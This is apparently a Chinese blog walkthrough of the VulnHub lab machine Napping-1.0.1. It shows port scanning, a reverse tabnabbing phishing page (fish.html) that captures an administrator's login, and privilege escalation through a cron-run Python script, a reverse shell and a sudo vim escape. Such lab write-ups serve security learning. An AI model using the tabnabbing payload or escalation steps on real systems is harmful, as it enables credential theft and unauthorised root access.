渗透测试学习之靶机napping-1.0.1

前期准备

1.下载靶机Napping-1.0.1WebGOAT: 1 ~ VulnHub

1.载入vmware,网络模式设置为NAT

kali IP地址为192.168.88.128

靶机 IP地址为192.168.88.129

一 、信息收集

1.使用nnamp扫描器扫描开放的端口

nmap -T4 -sV -p- 192.168.88.129

发现开放了80端口和22远程控制端口

2.寻找web信息

 

访问后发现需要登录,随即注册账号并登录。

 

此处指出可以发送自定义的链接,并且所有的链接都将被管理员审核。

我们在此处输入https://www.baidu.com,点击发送

发现此处有个超级链接,点击后跳转到baidu.com。接着查看前端代码。

 

发现了我们输入的URL被嵌入了该页面并且作为跳转地址,而且target=_blank,表明是在新的地址跳转而且没有审核。综上我们尝试tap nabbing钓鱼攻击。

二、漏洞验证

1.tap nabbing攻击

tap nabbing是钓鱼攻击漏洞的一种类型,也叫做反向标签劫持攻击。

该靶机的应用思路是:该正常页面为A,构造一个链接(B),在B中包含调转地址C(C是我们仿造和A相似的地址)

A:http://192.168.88.129/welcome.php

B :http://192.168.88.128/fish.html

fish.html的内容为:

<!DOCTYPE html> <html> <body> <script> if(window.opener) window.opener.parent.location.replace('http://192.168.88.129:1234/index.html'); if(window.opener != window) window.opener.parent.location.replace('http://192.168.88.129:1234/index.html'); </script> </body> </html>

其中index.html 是从网站下载的首页 wget http://192.168.88.128/index.php(端口随意)

C: http://192.168.88.129:1234/index.html

我们在A页面提交跳转的页面B,该网站的管理员会对其进行审核,也就是当管理员打开B的时候,B中包含的parent.location.replace会将实际访问地址和网页标签替换成C。由于C和A页面是相似的,管理员很容易以为C就是正常A的页面,看到此时是未登录状态,就会输入账号密码登录。如果我们在kali上检测C的1234端口访问记录,那么就会接收到管理员的账号密码,达到钓鱼效果。

简单来说,就是利用了人的心理,人正常会对初次打开的页面有警惕,但是在浏览的过程中,对新跳转的网页失去警惕心,tabnapping就是利用用户暂时离开该网页的时候,把伪造一个相似的网页,诱导用户输入个人信息。

2.实际操作

将fish.html和index.php放入kali的tmp目录,并开启web服务

同时开启1234端口监听

在网页输入http://192.168.88.128/fish.html,并且提交

 

这个时候等待管理员审核我们提交的网页(该靶机内是设置了访问程序用于模拟该操作)

几分钟后,发现有数据包,数据包下方有管理员的账号密码

username=danielpassword=C@ughtm3napping123

使用该密码远程登录靶机

查找可以越权的文件和命令

sudo -l 没有权限

id 可以看到属于adminstrators组

接着查找adminstrators组可以执行的命令或文件

find / -group administrators -type f 2>/dev/null

 

发现存在一个python文件,进入该目录下查看

 

三个文件,user.txt没有权限,site_status.txt是query.py的运行记录,记录了query.py每隔2分钟执行一次。query,py功能是检查虚机状态,可编辑。

思路就出来了,利用query.py文件执行反弹shell命令,反弹一个权限更高的shell。

三 漏洞利用

1 提权

首先在daniel目录下创建tesh.sh文件,写入反弹shell指令

为啥补直接在adrian目录下创建呢,因为没有权限。

接着在query.py下写入执行tesh.sh命令

为啥不直接在py文件中写入python的反弹shell语句呢,我试了,没成功,估计是import问题,在靶机本地库里有os,我们才能成功。写入之后,保存,等待两分钟.

 

发现反弹回了一个shell。

sudo -l 发现可以vim命令可以免密码执行root权限。那就可以利用vim直接写入shell

写入命令行:sudo /usr/bin/vim -c ':!/bin/sh’

稍等几秒钟,弹出一个shell

id 发现是root权限了

cd /root 发现目录,至此成功

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值